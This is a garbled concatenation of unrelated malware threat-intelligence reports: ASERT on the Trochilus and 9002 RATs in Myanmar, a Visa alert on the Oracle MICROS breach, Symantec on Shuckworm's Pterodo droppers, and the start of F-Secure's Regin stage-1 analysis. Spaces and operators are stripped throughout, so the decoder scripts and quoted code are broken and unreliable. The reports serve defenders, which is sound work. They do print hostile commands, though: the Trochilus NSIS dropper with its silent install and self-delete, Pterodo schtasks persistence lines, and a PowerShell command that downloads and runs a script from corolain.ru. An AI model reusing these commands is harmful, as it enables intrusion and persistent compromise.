import sys fp  open(sys.argv[1], rb) enc_buf  fp.read() fp.close() one  227  IntOp 1 227  0 two  240  IntOp 2 240  0 three  0 i  0 plain  [] for enc_byte in enc_buf: if i  4095: break three  (one  two)  255  IntOp 3 1  2  IntOp 3 3  255 print xor key: 0xx  three plain_byte  ord(enc_byte)  three  IntOp R2 R2  3 plain.append(chr(plain_byte)) one  two  IntOp 1 2  0 two  three  IntOp 2 3  0 i  1 decrypted  .join(plain)  enc_buf[4096:] fp  open(sys.argv[1]  .decrypted, wb) fp.write(.join(decrypted)) fp.close() ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
21 Inthiscase,thedecodedfileMD5is304d83e15cce9b8dc826cdee2a96ef62andcanmoreeasilybeanalyzed withIDAProorotherstaticanalysistools.
Oncecleanbinarieswereextractedbythepythonscript,artifactsrevealedaconnectiontosourcecodeshared athttps://github[.
]com/5loyd/trochilusknownastheTrochilusRAT.TrochilusisacharacterfromGreek mythologythatapparentlyinventedthechariot,butthewordalsomeansakindofsmallbirdandcanrefer toseveraltypesofhummingbirds.
Athirdmeaningcomesfromarchitecture,howevertheexactmeaning intendedbythedeveloperisunknown.
TheNSISscripttechniqueappearstobeinstrumentedinsidethebuilderforTrochilus,namedGenerator.exe.
Thedefaultparameters(3and5)forthesecond-layerencodingschemeusedbyTrochiluswereobservedin thisbatchofsamples,wherethefinalpayloadwasencodedinsidedata.datbyaroutinecalled XorFibonacciCrypt.
IftheUSE_ENCRYPTED_COREtokenisenabledduringthebuild,thenthisencodingroutine isactivated.
ifdefUSE_ENCRYPTED_CORE debugLog(_T(decryptdllfile)) XorFibonacciCrypt((LPBYTE)content,content.
Size(),(LPBYTE)content,3,5) endif Thiscodecanbefoundinhttps://github[.
]com/5loyd/trochilus/blob/master/client/servant/shell/Shell.cpp ThesourcecodeforShell.dllcanbefoundat https://github[.
]com/5loyd/trochilus/tree/master/client/servant/shell Variousmemoryartifactsfoundfromtrochilus-master/client/servant/shell/SvtShell.cppindicatethatthe threatactorsareatleastusingthisportionofthecode.
OtherartifactswerefoundfromShell.cppinthesame directory.
Forexample,thedata.datfilecanbefoundreferencedat https://github[.
]com/5loyd/trochilus/tree/master/client/servant/body Thedata.datfilesbuiltandencodedbyTrochiluscanbedecodedusingthefollowingscript: import sys fp  open(sys.argv[1], rb) enc_buf  fp.read() fp.close() these are passed as arguments to the decrypt function key_material_1  5 key_material_2  3 plain  [] for enc_byte in enc_buf: xor_key  (key_material_2  key_material_1)  255 plain_byte  ord(enc_byte)  xor_key ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 22 Proprietary and Confidential Information of Arbor Networks, Inc. plain.append(chr(plain_byte)) key_material_2  key_material_1 key_material_1  xor_key fp  open(sys.argv[1]  .decrypted, wb) fp.write(.join(plain)) fp.close() https://github[.
]com/5loyd/trochilus/blob/master/client/servant/body/common.cppcontainsaroutinecalled XorFibonacciCryptthatmatchescodeobservedinsidetheDLLandinsidetheNSISpackageconfiguration: for (DWORD i  0 i  dwPlainLen i)  BYTE xorchar  (last1  last2)  MAXBYTE last2  last1 last1  xorchar lpOutput  (lpSource)  xorchar lpOutput lpSource  Figure 17: Trochilus RAT readme file describes basic capabilities Obtainingthesourcetothemalwareprovided manyinsights,includingthefundamental READMEthatdescribesthebasicfunctionalityof theRAT(observedinFigure17).Other researchersandanalystswhowishtoobtain additionalinsightshoulddownloadthecodefor furtheranalysis.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
23 Aftercompilingthesourcecode,theclientbuilderfortheTrochilusRATmalwareappearsassuch: Figure 18: Trochilus RAT builder Generator.exe with Chinese - English translations Thebuilderapplication,namedGenerator.exe(MD5:4710c9f5dc156db756dab7e017b0bdb3)providesan optionforanIPaddress(defaultof127.0.0.1)andanoptiontoselectHTTP,HTTPS,TCP,orUDP.Thedefault portvalueforallsettingsis8081,andtheothervaluesare-1.Generatingthemalwareusingthedefault settings(asseenabove)resultsinthecreationofagenerator.inifile,whichprovidesat-a-glanceinsightinto howthesevaluesareused.
Figure 19: Sample Trochilus RAT INI file Agreatnumberofadditionalinsightsintothis malwareareavailableviathesourcecodeforthose thatwishtoperformfurtherinvestigations.
Sufficeit tosaythatthismalwareisbeingusedintargeted threatoperationsanddeservesadditionalattention.
Itiscurrentlyunknownif5loyd(akafloyd419,using mailfloyd419[]foxmail.com)hasanyconnectionto threatactorsinvolved,orissimplyprovidingcode thatothershaveused.
Severalwatchersof5loyd codeongithubalsoprovideinterestingcode projectsthatcouldbeusedinadvancedcampaigns.
5loydhasalsocontributedtoaWindowscredential dumpingapplicationknownasquarkspwdumpthat maybeofinteresttoadvancedthreatresearchers.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 24 Proprietary and Confidential Information of Arbor Networks, Inc.
Figure 20: Github page for 5loyd where the trochilus RAT code is published Figure 21: Forum avatar for a user named floyd419 Thebulkofdevelopmentactivitysincetheprojectwassharedongithub tookplacebetweenMayandJulyof2015.OSINTonthee-mailaddress associatedwith5loydrevealausernamedfloyd419thathadpostedona Chinesematlabforum[6].Nothingfurtherwasobtainedonthisauthorat thistime,althoughavarietyofotherpotentiallyinterestingconnectionscan beobserved.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
25 AwarenessoftheTrochilusRATseemsverylow,basedonsearchinquiries.
Noresultswerereturnedin English,howeveronehitwasreturnedwhensearchingtheChinesewebspace[http://weisuo[.
]org/?post136] fromasitecallingitselfVilliageMudhorse(-).ThesitediscussesvariousTTPsofsystem penetration.
Thefirstuseronthesite(http://weisuo[.
]org/?author1),c4bbagepostedthecontentsofthe githubTrochiluspageonMay23,2015.Whilec4bbageshowsastronginterestinsystempenetrationand relatedtools,therearenoindicationsthatc4bbageisinvolvedinthethreatactivitydescribedherein.
Howeverthesitelikelyhelpedmorepeoplelearnabouttrochilus.
Figure 22: Posting about trochilus RAT on Chinese forum Initialinspectionsuggeststheremayonlybetwousersonthissite,author1c4bbageandauthor3zcgonvh.
Browsingthepageofzcgonvh(http://weisuo[.
]org/?author3)revealsdiscussionsabouttheChinaChopper webshell,knowntobeusedbyvariousChineseAPTactors.
Thispageindicatesthatzcgonvhistheauthorof ChinaChopper.
AlinktodownloadChinaChopperisalsopresentonthesite,butthecodeisinsideapassword protectedZIP.Despiteattemptstoutilizethepasswordprovidedonthepage,thepasswordwasnotaccepted.
ThelinkthatdiscussesChinaChopperishttp://weisuo[.
]org/?post49.Whilethisisaninterestingbitof informationthatprovideslinkstootherChineseAPTtacticsandtools,exploringthisfurtherconnectionis beyondthescopeofthisdocumentandisleftasafutureexercise.
Muchmoreinsightcanbeobtainedviathesourcecode,howeverthebottomlineisthattheTrochilusRAT appearstoberelativelynewandnowthatithasbeendiscoveredinthewildaspartoftargetedthreat campaignactivity,defenderscanoperatewithadditionalawareness.
Malware sample 7: 9002 RAT in Firefox Plugin Anunprofiledinstanceofthe9002RAT(3102variant)wasfoundinsideamaliciousFirefoxpluginfoundat http://www.uecmyanmar[.
]org/plugins/system/jatabs/jatabs/FlashVideoPlayer.phpandwassubmittedto VirusTotalonAugust21,2015fromJapanandlateronOctober13fromSingapore.
Thisfileisnolonger presentontheUECwebsite,butprovidesfurtherinsightintothreatactivity.
WhiletheRATfamilyandvariant isthesameasdiscussedbyCitizenLab,thisisadistinctsample.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 26 Proprietary and Confidential Information of Arbor Networks, Inc. Filename:FlashVideoPlayer.php MD5:fcd3bec917b1cc095c1f2b06a75c9412 ThepluginisbuiltinsideaZIPfileconstructandcontainsthefollowingcontents: MD5(bootstrap.js)bdd4b626ee6f2e15d7c3f80e7677003b MD5(chrome.manifest)29f3da9349f67129dd66e245d5187b72 MD5(eZNSMZ8r.exe)666522db14a021d1e255cc28c9fd8721 MD5(install.rdf)010922d600054fe89cd1d98b53395d54 MD5(overlay.xul)7f0be0ea9075dda2b318082d14c2181d ThemalwareitselfistheeZNSMZ8r.exefile,oftenmisclassifiedastheGamaruemalware.
Thebootstrap.jsfilereferencestheEXEasfollows: xpi_guid65d5c9ea-f5d6-e277-4254-ce58d766656epayload_nameeZNSMZ8r.exe AuserinstallingthisAdd-onwouldreceivethefollowingwarning(whenusingarecentversionofFirefox): Figure 23: Malicious Firefox add-on notification indicates that the add-on is unverified IgnoringthepromptresultsinthepresenceofafakeAdobeFlashPlayerintheExtensionslistfromwithin theFirefoxabout:addonsmenu.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
27 Figure 24: Artifacts left from unsuccessful installation of the malware AcceptingtheriskandclickingonInstallresultsinthespawningoftwoadditionalprocesses.
Oneisthe aforementionedinstanceofthemaliciousbinarynamedeZNSMZ8r.exe(runningfrom C:\Windows\tasks\eZNSMZ8r.exe),whichlaunchesanotherexecutablenamedUntitled.exe.
Figure 25: Execution path of the 3102 variant of the 9002 RAT Oncethemalwareissuccessfullyinstalled,thereisnoindicationthatanextensionisactive,asthe ExtensionslistinFirefoxdoesnotreflectthepresenceofAdobeFlashPlayer(asseenabove,fromanon- successfulinstallation).OnceFirefoxisclosed,themalwarecontinuestoexecute.
ThemalwaremakesaDNSqueryforclient.secvies[.]com,whichasofthiswritingresolvesto123.1.181[.
]38 butpreviouslyresolvedto103.240.203[.
]100fromthetimeperiodofAugust20-252015.SincethislatterIP addressmorecloselycorrespondswiththetimingschemeassociatedwiththecampaign,areviewofother resolutionsforthisIPisofinterestandrevealsotherPlugXactivitytakingplaceonthedomain googletranslatione[.
]com.
AFulltableofinterestingdomainresolutionsforthisIPandtheirtimestampsisincludedherein: Chinarrw[.
]com 2015-11-1711:16:18 2015-11-1711:16:18 7caitu[.
]com 2015-11-1018:38:03 2015-11-1018:38:03 www.chinarrw[.
]com 2015-11-0519:13:37 2015-11-0519:13:37 7caitu[.
]com 2015-10-2907:22:22 2015-11-0414:00:47 googletranslatione[.
]com 2015-08-0409:39:46 2015-08-2515:17:56 PlugX client.secvies[.
]com 2015-08-2020:16:58 2015-08-2505:02:28 EvilGrab(orotherRAT) ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 28 Proprietary and Confidential Information of Arbor Networks, Inc. Asthemalwareexecutes,weseethetelltalebeaconofthe3102variantofthe9002RATasitbeaconstothe C2,aswellasanidentifierbeingsendofUEC21050816whichlikelyindicatesthedateandsubjectof interestinvolvedinthethreatactivity.
FurtherintotheC2beaconpacketweseeinformationaboutthe compromisedmachine.
Figure 26: 3102 variant of the 9002 RAT beaconing to C2 with identifier UEC 20150816 Recommendations MalwaresuchasPlugX,the9002RAT,EvilGrab,andthenewlydiscoveredTrochilusRATareinuseinthewild andarelikelyprovidingactorswiththetoolstheyneedtoperformactionsonobjectivesagainsttheirtargets.
Bothhostandnetworkmonitoringprocessesshouldbeputintoplaceinordertodetectthesemalware families.
Whilethesemalwarefamilieshaveclearlybeenusedagainstothertargets(withtheexceptionofTrochilus whichrequiresfurtherresearch),organizationswithinandrelatedtoMyanmar,orthoseorganizations associatedwiththeUNDPshouldbeawarethattheymayhavebeen(andmaystillbe)atargetandshould remainalerttoanypastorfuturee-mailmessagesthatmightcontainspearphishorexploitcodein attachments.
Duetospearphishdeliveryinotherrelatedcampaigns,anymailmessagesorothercontentthat pointuserstowardsinteractionswithRARfilesarealsopotentiallysuspicious.
Additionally,aninvestigation shouldbetriggeredwhensuchorganizationsobservenetworktrafficthatrelatesthecontentdescribed herein.
Ingeneral,incidentrespondersandthreatintelligencestaffshouldbeawareofgeopoliticaltargetingthat affectstheirinterestsandtakeappropriateactions.
Iflogfilescontainingmaliciousactivityareavailable,they canbeleveragedtodeterminethreatcampaignactivity.
Thisallowsresponderstotrackspearphishattempts andotherexploitationvectorsfromthesourcetoanytargetedsystems.
Ongoingaccesstostrategic informationisoftentheultimategoalofthreatactors.
Determiningwhatstrategicinformationisofinterest canhelporganizationsbetterpinpointdefensivetechnologiestodetectcompromise,thuslimitingtheir exposureandexfiltrationofsensitivedata.
ArborASERTisinterestedinanyartifactsfromtheuseofthesemalwareandencouragesanycustomersor otherorganizationsthathavebeentargetedtocontactusforadditionaldiscussions.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
29 Appendix I: NSIS script used to unpack and process Trochilus RAT samples NSIS script NSIS-3 Install SetCompressor /SOLID lzma SetCompressorDictSize 8 -------------------- HEADER SIZE: 3976 START HEADER SIZE: 300 MAX STRING LENGTH: 1024 STRING CHARS: 898 OutFile [NSIS].exe include WinMessages.nsh SilentInstall silent -------------------- LANG TABLES: 1 LANG STRINGS: 38 Name Test BrandingText Nullsoft Install System v3.0b2 LANG: 1033 LangString LSTR_0 1033 Nullsoft Install System v3.0b2 LangString LSTR_1 1033 (LSTR_2) Setup LangString LSTR_2 1033 Test LangString LSTR_5 1033 Cant write: LangString LSTR_8 1033 Could not find symbol: LangString LSTR_9 1033 Could not load: LangString LSTR_17 1033 Error decompressing data Corrupted installer?
LangString LSTR_19 1033 ExecShell: LangString LSTR_21 1033 Extract: LangString LSTR_22 1033 Extract: error writing to file LangString LSTR_24 1033 No OLE for: LangString LSTR_25 1033 Output folder: LangString LSTR_29 1033 Skipped: LangString LSTR_30 1033 Copy Details To Clipboard LangString LSTR_36 1033 Error opening file for writing: \r\n\r\n0\r\n\r\nClick Abort to stop the installation,\r\nRetry to try again, or\r\nIgnore to skip this file.
LangString LSTR_37 1033 Custom InstType (LSTR_37)      Custom wininit  WINDIR\wininit.ini -------------------- ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 30 Proprietary and Confidential Information of Arbor Networks, Inc.
SECTIONS: 1 COMMANDS: 56 Section RC  Section_0 AddSize 362 SectionIn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 RO StrCpy R1 1024 System::Call kernel32::ExpandEnvironmentStrings(t \ALLUSERSPROFILE\WEventsCache\,t .R1,i 1024) Call Initialize_____Plugins SetOverwrite off File PLUGINSDIR\System.dll SetDetailsPrint lastused Push kernel32::ExpandEnvironmentStrings(t \ALLUSERSPROFILE\WEventsCache\,t .R1,i 1024) CallInstDLL PLUGINSDIR\System.dll Call StrCpy INSTDIR R1 SetOutPath INSTDIR SetOverwrite on File shell.dll File data.dat FileOpen R1 INSTDIR\Shell.dll a IntOp 1 105  0 IntOp 2 141  0 IntOp 3 0  0 StrCpy R3 0 Goto label_17 label_16: IntOp R3 R3  1 label_17: IntCmp R3 4095 0 0 label_29 IntOp 3 1  2 IntOp 3 3  255 FileReadByte R1 R2 FileSeek R1 -1 CUR IntOp R2 R2  3 FileWriteByte R1 R2 IntOp 1 2  0 IntOp 2 3  0 Goto label_16 Goto label_16 Goto label_29 label_29: FileClose R1 System::Call INSTDIR\Shell.dll::Init(i 1) Call Initialize_____Plugins SetOverwrite off AllowSkipFiles off File PLUGINSDIR\System.dll SetDetailsPrint lastused Push INSTDIR\Shell.dll::Init(i 1) CallInstDLL PLUGINSDIR\System.dll Call System::Call kernel32::GetModuleFileName(i 0,t .R1,i 1024) Call Initialize_____Plugins File PLUGINSDIR\System.dll ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
31 SetDetailsPrint lastused Push kernel32::GetModuleFileName(i 0,t .R1,i 1024) CallInstDLL PLUGINSDIR\System.dll Call ExecShell open cmd.exe /c ping 127.0.0.1del \R1\ SW_HIDE     open cmd.exe SectionEnd / Function Initialize_____Plugins SetDetailsPrint none StrCmp PLUGINSDIR  0 label_52 Push 0 SetErrors GetTempFileName 0 Delete 0 CreateDirectory 0 IfErrors label_53 StrCpy PLUGINSDIR 0 Pop 0 label_52: Return label_53: MessageBox MB_OKMB_ICONSTOP Error Cant initialize plug-ins directory.
Please try again later.
/SD IDOK Quit FunctionEnd / NOTE:apossiblyimperfectreconstructionoftheNSISscriptresultsinartifactsbelow.
--------------------
UNREFERENCED STRINGS: / 1 ProgramFilesDir 17 CommonFilesDir 32 C:\Program Files 49 PROGRAMFILES 53 PROGRAMFILES\Common Files 70 COMMONFILES / Severalinterestingelementsinsidethisscriptstandout.
Inparticular,weseeSilentInstallsilentwhichlikely makesforaninstallationofthemalwarethatprovidesnonotificationtotheuser.
Weseethatthreatactors haveusedNullsoftInstallSystemv3.0b2,whichwasreleasedonAugust5,2015andprovidesforWindows10 installationsupport[http://sourceforge.net/p/nsis/news/2015/08/nsis-30b2-released/].Therefore,wecan knowthatatleastthispackagewasdesignedafterAugust5,2015.WecanseefromtheconfigthattheLZMA compressionoptionisused(SetCompressor /SOLID lzma)whichapparentlyprovidesforhighercompression rates.
The/SOLIDoptioncompressesalloftheinstallerdataintooneblock,resultingingreatercompression ratios(andpotentiallyfurthercomplicatingstaticanalysisanddetectionroutines).
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 32 Proprietary and Confidential Information of Arbor Networks, Inc. References 1.
https://asert.arbornetworks.com/defending-the-white-elephant/ 2.
http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on- president-of-myanmars-website/ 3.
https://citizenlab.org/2015/10/targeted-attacks-ngo-burma/ 4.
http://pages.arbornetworks.com/rs/082-KNA- 087/images/ASERT20Threat20Intelligence20Brief202015- 0520PlugX20Threat20Activity20in20Myanmar.pdf 5.
http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/2q-report-on-targeted- attack-campaigns.pdf 6.
http://webcache.googleusercontent.com/search?qcache:yZN1nJdkDD0J:www.ilovematlab.cn/space- uid-896373.htmlcd11hlenctclnkglus AboutASERT TheArborSecurityEngineeringResponseTeam(ASERT)atArborNetworksdeliversworld-classnetwork securityresearchandanalysisforthebenefitoftodaysenterpriseandnetworkoperators.
ASERTengineers andresearchersarepartofanelitegroupofinstitutionsthatarereferredtoassuperremediators,and representthebestininformationsecurity.
Thisisareflectionofhavingbothvisibilityandremediation capabilitiesatamajorityofserviceprovidernetworksglobally.
ASERTsharesoperationallyviableintelligencewithhundredsofinternationalComputerEmergencyResponse Teams(CERTs)andwiththousandsofnetworkoperatorsviaintelligencebriefsandsecuritycontentfeeds.
ASERTalsooperatestheworld1slargestdistributedhoneynet,activelymonitoringInternetthreatsaroundthe clockandaroundtheglobeviaATLAS,Arborsglobalnetworkofsensors:http://atlas.arbor.net.
Thismission andtheassociatedresourcesthatArborNetworksbringstobeartotheproblemofglobalInternetsecurityis animpetusforinnovationandresearch.
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1 Visa Security Alert        AUGUST 2016 O R A C L E  M I C R O S  C O M P R O M I S E  N O T I F I C A T I O N Distribution: Issuers, Acquirers, Processors and Merchants Summary:  On Monday, 8 August 2016, Oracle Security informed Oracle MICROS customers that it had detected malicious code in certain legacy MICROS systems.
Oracle is currently investigating the compromise, and as of 12 August 2016, the company has not published details about the cause/s.
Visa is issuing this alert to provide indicators of compromise (IOCs) associated with cybercrime threats known to have previously targeted Oracle systems.
About Oracle MICROS Oracle MICROS offers a range of software, hardware and related services, including point-of-sale systems (POS) along cloud solutions to manage hotels, food and beverage facilities, and retailers.
According to Oracle Micros, MICROS technologies are in use across 330,000 customer sites in 180 countries.
Oracle Customer Notification According to media sources, Oracle Security provided a notification to Oracle MICROS customers on 8 August 2016, informing them of the following: Oracle Security has detected and addressed malicious code in certain legacy MICROS systems Oracle has confirmed that its investigating a breach of its Micros division.
Oracles own systems, corporate network, and other cloud and service offers were not impacted.
Oracle MICROS users will have to change their account passwords immediately The company reportedly stated that payment data was not at risk, as that information is encrypted both at rest and in transit in the MICROS environment.
Although Oracle has not provided additional details on the exact date or extent of the breach of Oracle MICROS, some media reports suggest that the support portal for MICROS clients was also compromised.
1.
Cybercrime threats to Oracle MICROS Visa is aware of two cybercrime threats, Carbanak and MalumPOS, which have previously targeted Oracle systems.
Indicators of compromise (IOCs) associated with both Carbanak and MalumPOS are provided in section two [2] of this report.
Carbanak On 8 August 2016, a media source reported that the Oracles MICROS customer support portal was seen communicating with a server known to be used by the Carbanak.
According to Kaspersky Lab, in February 2015, the Carbanak group used techniques commonly seen in Advanced Persistent Threat (APT) incidents to successfully target one financial institutions (a bank) money processing services, Automated Teller Machines (ATM) and financial accounts.
In some cases, Oracle http://www.oracle.com/us/corporate/acquisitions/micros/index.html http://www.zdnet.com/article/oracle-said-to-be-investigating-data-breach-at-point-of-sale-division/ http://krebsonsecurity.com/2016/08/data-breach-at-oracles-micros-point-of-sale-division/ http://krebsonsecurity.com/2016/08/data-breach-at-oracles-micros-point-of-sale-division/ https://blog.kaspersky.com/billion-dollar-apt-carbanak/7519/ 2 databases were manipulated to open payment or debit card accounts at the same bank or to transfer money between accounts using the online banking system.
The ATM network was also used to dispense cash from certain ATMs at certain times where money mules were ready to collect it as part of this operation.
In March 2015, Visa provided an industry-wide public alert and mitigation guidance concerning Carbanak.
Visa recommends that all financial institutions and retailers scan their networks for the presence of Carbanak.
If detected, please contact law enforcement immediately and activate security incident procedures.
MalumPOS Discovered by TrendMicro in 2015, MalumPOS is known to specifically target Oracle MICROS point-of- sale devices.
MalumPOS is described as simple and non-obfuscated malware, written in the Delphi programming language.
Visa is aware that MalumPOS is still actively used by cyber criminals.
2.
Mitigation action recommended for Oracle Micros Customers Change passwords for any account used by a MICROS representative to access the customers on-premises systems.
Scan network for the following: Psexec file Files with .bin extension (located in \All users\AppData\Mozilla\ or c:\ProgramData\Mozilla\) Svchost.exe file (located in Windows\System32\com\catalogue\) Svchost.exefile (located in C:\ProgramData\Mozilla\svchost.exe) This file provided remote access functions, such as the ability to execute arbitrary commands, upload/download files.
Operating system (Windows) running services ending in sys Scan networks for IOCs linked to Carbanak: https://usa.visa.com/dam/VCOM/download/merchants/Alert-CARBANAK.pdf http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-malumpos-targets-hotels-and-other-us-industries/ 3 Scan networks for IOCs linked to MalumPOS: File Name File Name Description Mnv.exe 757ae5eed0c5e229ad9bae586f1281b5de053767 Oracle Forms process, MICROS 9700 VISAD Driver Nvsvc.exe 2cf2f41d2454b59641a84f8180fd7e32135a0dbc MICROS 9700 SSL GW Nvsvc.exe f728bf7d6dbfc4c7bea21d6a3fd0b88f4fe52a4a Oracle Forms process, Web- based PoS systems Nvsvc.exe 798bc2d91293c18af7e99ba7c9a4fd3010051741 Accessed through MicrosoftTM, Windows Internet Explorer, Shift4 Corporation Universal Nvsvc.exe 90e85b471b64667dbcde3aee3fa504c0d4b0ad35 Transaction Gateway, PAR Springer-Miller Systems Rdp.exe fe713f9bb90b999250c3b6a3bba965d603de32a3 Looks like a test Winini.exe d0b3562d868694fd1147e15483f88f3a78ebedfb Client stub Additionally, Visa recommends the following best practices to reduce the risk of exposure: Educate employees how to avoid phishing scams and opening emails with attachments Maintain updates for all software and patches (address zero day vulnerabilities) Turn on heuristics (behavioral analysis) on anti-malware to search for suspicious behavior Visa will continue to report any mitigation guidance, technical indicators of compromise associated with this compromise, or additional details on the overall extent of the compromise as details are made available.
For questions and information please contact, paymentintelligencevisa.com To report a data breach, contact Visa Fraud Control: Asia Pacific Region, Central Europe/Middle East/Africa Region: VIFraudControlvisa.com U.S. and Canada: USFraudControlvisa.com mailto:paymentintelligencevisa.com
1/3 Shuckworm: Espionage Group Continues Intense Campaign Against Ukraine symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine The Russian-linked Shuckworm espionage group (aka Gamaredon, Armageddon) is continuing to mount an intense cyber campaign against organizations in Ukraine.
Shuckworm has almost exclusively focused its operations on Ukraine since it first appeared in 2014.
These attacks have continued unabated since the Russian invasion of the country.
While the groups tools and tactics are simple and sometimes crude, the frequency and persistence of its attacks mean that it remains one of the key cyber threats facing organizations in the region.
Multiple payloads One of the hallmarks of the groups recent activity is the deployment of multiple malware payloads on targeted computers.
These payloads are usually different variants of the same malware (Backdoor.
Pterodo), designed to perform similar tasks.
Each will communicate with a different command-and-control (CC) server.
The most likely reason for using multiple variants is that it may provide a rudimentary way of maintaining persistence on an infected computer.
If one payload or CC server is detected and blocked, the attackers can fall back on one of the others and roll out more new variants to compensate.
Symantecs Threat Hunter Team, part of Broadcom Software, has found four distinct variants of Pterodo being used in recent attacks.
All of them are Visual Basic Script (VBS) droppers with similar functionality.
They will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a CC server.
All of the embedded VBScripts were very similar to one another and used similar obfuscation techniques.
Backdoor.
Pterodo.
B This variant is a modified self-extracting archive, containing obfuscated VBScripts in resources that can be unpacked by 7-Zip.
It then adds them as a scheduled task to ensure persistence: CreateObject(Shell.
Application).ShellExecute SCHTASKS, /CREATE /sc minute /mo 10 /tn   UDPSync /tr wscript.exe   hailJPT     jewels  //b joking //e VBScript joyful  /F ,  ,  , 0 https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine https://software.broadcom.com/ 2/3 CreateObject(Shell.
Application).ShellExecute SCHTASKS, /CREATE /sc minute /mo 10 /tn   SyncPlayer /tr wscript.exe   enormouslyAKeIXNE jewels  //b  joking //e VBScript joyful  /F ,  ,  , 0 The script also copies itself to [USERPROFILE]\ntusers.ini file.
The two newly created files are more obfuscated VBScripts.
The first is designed to gather system information, such as the serial number of the C: drive, and sends this information to a CC server.
The second adds another layer of persistence by copying the previously dropped ntusers.ini file to another desktop.ini file.
Backdoor.
Pterodo.
C This variant is also designed to drop VBScripts on the infected computer.
When run, it will first engage in API hammering, making multiple meaningless API calls, which is presumably an attempt to avoid sandbox detection.
It will then unpack a script and a file called offspring.gif to C:\Users\[username]\.
It will call the script with: wscript [USERNAME]\lubszfpsqcrblebyb.tbi //e:VBScript /w /ylq /ib /bxk  //b /pgs This script runs ipconfig /flushdns and executes the offspring.gif file.
Offsprint.gif will download a PowerShell script from a random subdomain of corolain.ru and execute it: cvjABuNZjtPirKYVchnpGVop  tmp  (New-Object net.webclient).DownloadString(http:// [System.
Net.
DNS]::GetHostAddresses([string](Get-Random).corolain.ru) /get.php) Invoke-Expression tmp Backdoor.
Pterodo.
D This variant is another VBScript dropper.
It will create two files: [USERPROFILE]\atwuzxsjiobk.ql [USERPROFILE]\abide.wav It executes them with the following command: wscript [USERPROFILE]\atwuzxsjiobk.ql //e:VBScript /tfj /vy /g /cjr /rxia  //b /pyvc Similar to the other variants, the first script will run ipconfig /flushdns before calling the second script and removing the original executable.
3/3 The second script has two layers of obfuscation, but in the end it downloads the final payload from the domain declined.delivered.maizuko[.
]ru and executes it.
Backdoor.
Pterodo.
E The final variant is functionally very similar to variants B and C, engaging in API hammering before extracting two VBScript files to the users home directory.
Script obfuscation is very similar to other variants.
Other tools While the attackers have made heavy use of Pterodo during recent weeks, other tools have also been deployed alongside it.
These include UltraVNC, an open-source remote- administration/remote-desktop-software utility.
UltraVNC has previously been used by Shuckworm in multiple attacks.
In addition to this, Shuckworm has also been observed using Process Explorer, a Microsoft Sysinternals tool designed to provide information about which handles and DLL processes have opened or loaded.
Persistent threat While Shuckworm is not the most tactically sophisticated espionage group, it compensates for this in its focus and persistence in relentlessly targeting Ukrainian organizations.
It appears that Pterodo is being continuously redeveloped by the attackers in a bid to stay ahead of detection.
While Shuckworm appears to be largely focused on intelligence gathering, its attacks could also potentially be a precursor to more serious intrusions, if the access it acquires to Ukrainian organizations is turned over to other Russian-sponsored actors.
Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise A full list of IOCs is available here on GitHub.
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
https://www.broadcom.com/support/security-center/protection-bulletin https://github.com/Symantec/threathunters/tree/main/Shuckworm
Malware analysis report In this document we analyze a set of 32-bit samples which represents stage 1 of the complex threat that is known as Regin.
Based on our analysis of the malwares functionalities, this part of the Regin threat can be considered just a support module  its sole purpose is to facilitate and enable the operations of stage 2 by loading it and making it more difficult to detect by security products.
Regins stage 1 targets the Windows platform and support various versions of the operating system, beginning with Windows NT 4.0.
Based on our analysis, the samples may be classified into two categories: pure samples that do not feature any extra, non-malicious code and augmented ones which feature malware code as part of another device driver.
The existence of augmented samples indicates the intention of the attacker to remain undiscovered for as long as possible.
When activated, samples of Regin stage 1 will retrieve encrypted content from specific locations of an already compromised system, map it into kernel memory and transfer control to it.
In terms of technical sophistication, stage 1s import resolution process is of particular interest, as the malware uses the unusual trampoline technique to mask the payloads access to API functions.
It is clear that this support component, that represents the initial stage of a very complex threat, has been instrumental in securing long-term persistence in the attacks that made use of this threat.
Paolo Palumbo Senior Researcher Security Response F-Secure Labs Twitter: paolo_3_1415926 Contact F-Secure Incident Response irtf-secure.com W32/Regin, Stage 1 1.
INTRODUCTION 2 1.1  Sample Statistics 2 2.
MALWARE ANALYSIS 2 2.1  Deployment and startup 3 2.2  Sample selection 3 2.3  Content retrieval 3 2.4  Retrieval from the file system (Extended Attributes) 4 2.5  Retrieval from the registry 4 2.6  Decryption  4 2.7  Content mapping 4 2.8  The QuickPeParse function  5 2.9  Header and sections 5 2.10  Imports  Trampolines 6 2.10.1  Embedded code templates 7 2.10.2  Locating a safe location inside a trusted module 7 2.10.3  Code template customization 8 2.10.4  Trampolines 8 2.11  The CodeProtection structure 8 2.12  Relocations 8 2.13  Finalizing the loading process 9 2.14  Invocation of stage 2 10 3.
